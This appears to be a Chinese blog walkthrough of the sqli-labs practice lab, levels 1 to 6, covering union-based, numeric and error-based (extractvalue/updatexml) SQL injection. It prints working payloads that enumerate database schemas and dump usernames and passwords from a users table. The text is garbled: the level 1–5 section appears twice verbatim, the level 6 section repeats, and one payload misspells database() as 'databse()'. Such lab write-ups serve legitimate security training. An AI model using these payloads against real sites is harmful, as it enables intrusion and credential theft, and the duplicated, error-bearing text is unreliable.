SQL注入

第1关(联合查询)

我们点击sqli-labs page-1(Basic Challenges)就可以选择关卡:

然后点击Less-1来到第一关

打开页面可以看到我们需要输入一个id,那么试着来传入id=1看看

可以看到查出了登录密账号和密码,下面我们就开始进行SQL注入

判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误,那我们就来先试试看:

可以看到确实报错了,说明是存在SQL注入的,下面就是看看数据库有多少列,可以使用下面两种形式来判断:

?id=1' order by 3--+

?id=1' order by 4--+

?id=1' union select 1,2,3 --+

?id=1' union select 1,2,3,4 --+

从上面两中方式都可以判断出数据库是有3列的

然后我们需要知道页面所显示的name 和 password 属于数据库中的第几列

?id=-1' union select 1,2,3 --+

从显示结果可以看到,这里的name是第2列,password是第3列。

那么现在就可以从第2列或者第3列查询出数据库名称:

?id=-1' union select 1,database(),3 --

现在知道了数据库名称,然后就可以利用inforamtion_schema数据库拉查询出该数据库中所有的表和所有的列:

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

现在知道了数据库名、数据库中所有的表名,表中的所有列名,剩下的就只剩下查找数据了:

?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+

查到了数据库中的数据就算是一次成功的注入了,那么本关就通关了(~ ̄▽ ̄)~

第2关(数字型)

这一关与第一关是大致相同的这里就直接直接提供payload:

尝试闭合查看是否存在SQL注入:

?id=-1'

查看数据库的列数:

?id=1 order by 3--+ 正常

?id=1 order by 4--+ 报错

查看那些地方可以回显:

?id=-1 union select 1,2,3--+

查看数据库名称:

?id=-1 union select 1,databse(),3 --+

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

查看数据库中所有的表:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看表中的所有字段:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--

查看数据:

?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

第3关('闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合'),然后直接参考第二关的payload即可:

第4关(")闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合"),然后直接参考第二关的payload即可:

第5关(报错注入)

本关与前面几关不同,需要利用报错注入才能实现注入,因此本关我会详细的演示

对于不了解报错注入和布尔盲注的小伙伴,这里我先介绍几个可能会用到的函数

报错注入:

  1. extractvalue:

extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。

  1. updatexml:

updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。

  1. floor:

floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。

报错注入:

既然存在注入,那么我们可以来尝试查询一下数据库的列数

?id=1' order by 3 --+

?id=1' order by 4 --+

可以看到列数是3列

知道了列数,那么我们就试试看哪里可以回显:

可以看到这里我们无论怎么进行查询,结果都会显示You are in .........

但是当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

下面就直接利用数据库名+inforamtion_schema数据库来进行后续的注入,这里就不再演示

注:这里如说使用updatexml来查询表中数据时,会出现查询数据不完整的问题,

解决方案:

这里我们可以使用limit来限制查询个数,来一个一个查询,也可以使用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置:

payload:

第1关(联合查询)

我们点击sqli-labs page-1(Basic Challenges)就可以选择关卡:

然后点击Less-1来到第一关

打开页面可以看到我们需要输入一个id,那么试着来传入id=1看看

可以看到查出了登录密账号和密码,下面我们就开始进行SQL注入

判断页面是否存在SQL注入的是尝试闭合看是否会产生用法错误,那我们就来先试试看:

可以看到确实报错了,说明是存在SQL注入的,下面就是看看数据库有多少列,可以使用下面两种形式来判断:

?id=1' order by 3--+

?id=1' order by 4--+

?id=1' union select 1,2,3 --+

?id=1' union select 1,2,3,4 --+

从上面两中方式都可以判断出数据库是有3列的

然后我们需要知道页面所显示的name 和 password 属于数据库中的第几列

?id=-1' union select 1,2,3 --+

从显示结果可以看到,这里的name是第2列,password是第3列。

那么现在就可以从第2列或者第3列查询出数据库名称:

?id=-1' union select 1,database(),3 --

现在知道了数据库名称,然后就可以利用inforamtion_schema数据库拉查询出该数据库中所有的表和所有的列:

id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+

现在知道了数据库名、数据库中所有的表名,表中的所有列名,剩下的就只剩下查找数据了:

?id=-1 union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+

查到了数据库中的数据就算是一次成功的注入了,那么本关就通关了(~ ̄▽ ̄)~

第2关(数字型)

这一关与第一关是大致相同的这里就直接直接提供payload:

尝试闭合查看是否存在SQL注入:

?id=-1'

查看数据库的列数:

?id=1 order by 3--+ 正常

?id=1 order by 4--+ 报错

查看那些地方可以回显:

?id=-1 union select 1,2,3--+

查看数据库名称:

?id=-1 union select 1,databse(),3 --+

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

查看数据库中所有的表:

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查看表中的所有字段:

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--

查看数据:

?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+

第3关('闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合'),然后直接参考第二关的payload即可:

第4关(")闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第二关可以说是一模一样的只是闭合的方式不同,本关需要闭合"),然后直接参考第二关的payload即可:

第5关(报错注入)

本关与前面几关不同,需要利用报错注入才能实现注入,因此本关我会详细的演示

对于不了解报错注入和布尔盲注的小伙伴,这里我先介绍几个可能会用到的函数

报错注入:

  1. extractvalue:

extractvalue函数用于从XML文档中提取特定的值。它接受两个参数,第一个参数是要提取值的XML文档,第二个参数是XPath表达式,用于指定要提取的值的位置。该函数将返回符合XPath表达式的节点的值。

  1. updatexml:

updatexml函数用于更新XML文档中特定节点的值。它接受三个参数,第一个参数是要更新的XML文档,第二个参数是XPath表达式,用于指定要更新的节点的位置,第三个参数是新的节点值。该函数将返回更新后的XML文档。

  1. floor:

floor函数用于向下取整,将一个数值向下取整为最接近的整数。它接受一个参数,即要进行取整操作的数值,返回最接近的小于或等于该数值的整数。例如,floor(3.8)将返回3,floor(4.2)将返回4。

报错注入:

既然存在注入,那么我们可以来尝试查询一下数据库的列数

?id=1' order by 3 --+

?id=1' order by 4 --+

可以看到列数是3列

知道了列数,那么我们就试试看哪里可以回显:

可以看到这里我们无论怎么进行查询,结果都会显示You are in .........

但是当我们查询的字段多于3个后,页面会报错,这里就可以利用报错注入来进行:

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

下面就直接利用数据库名+inforamtion_schema数据库来进行后续的注入,这里就不再演示

注:这里如说使用updatexml来查询表中数据时,会出现查询数据不完整的问题,

解决方案:

这里我们可以使用limit来限制查询个数,来一个一个查询,也可以使用group_concat时使用substr进行字符串截取 其中"1,32"控制截取的起始与结束位置:

payload:

and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

第6关("闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第三关可以说是一模一样的只是闭合的方式不同,本关需要闭合",然后直接参考第5关的payload即可:

and updatexml(1,(select concat(username,0x7e,password) from users limit 0,1),1) --+

and updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

第6关("闭合)

尝试闭合查看是否存在SQL注入:

注:这一关与第三关可以说是一模一样的只是闭合的方式不同,本关需要闭合",然后直接参考第5关的payload即可:

相关推荐
枷锁—sha7 小时前
【PortSwigger Academy】SQL 注入绕过登录 (Login Bypass)
数据库·sql·学习·安全·网络安全
逍遥德9 小时前
PostgreSQL 中唯一约束(UNIQUE CONSTRAINT) 和唯一索引(UNIQUE INDEX) 的核心区别
数据库·sql·postgresql·dba
工业甲酰苯胺9 小时前
字符串分割并展开成表格的SQL实现方法
数据库·sql
小句11 小时前
SQL中JOIN语法详解 GROUP BY语法详解
数据库·sql
昊昊该干饭了12 小时前
一个真实查询需求如何从表设计走到高效 SQL
数据库·sql
Elastic 中国社区官方博客13 小时前
使用瑞士风格哈希表实现更快的 ES|QL 统计
大数据·数据结构·sql·elasticsearch·搜索引擎·全文检索·散列表
pengweizhong14 小时前
Dynamic‑SQL2 查询篇:MyBatis 增强利器,让 SQL 像写 Java 一样丝滑
java·sql·教程
逍遥德17 小时前
Postgresql 系统表作用解释
数据库·后端·sql·postgresql
SJLoveIT18 小时前
sql注入攻击的防御思路总结
数据库·sql
Geek攻城猫20 小时前
深入理解 SQL 多字段排序:从基础到高级技巧
数据库·sql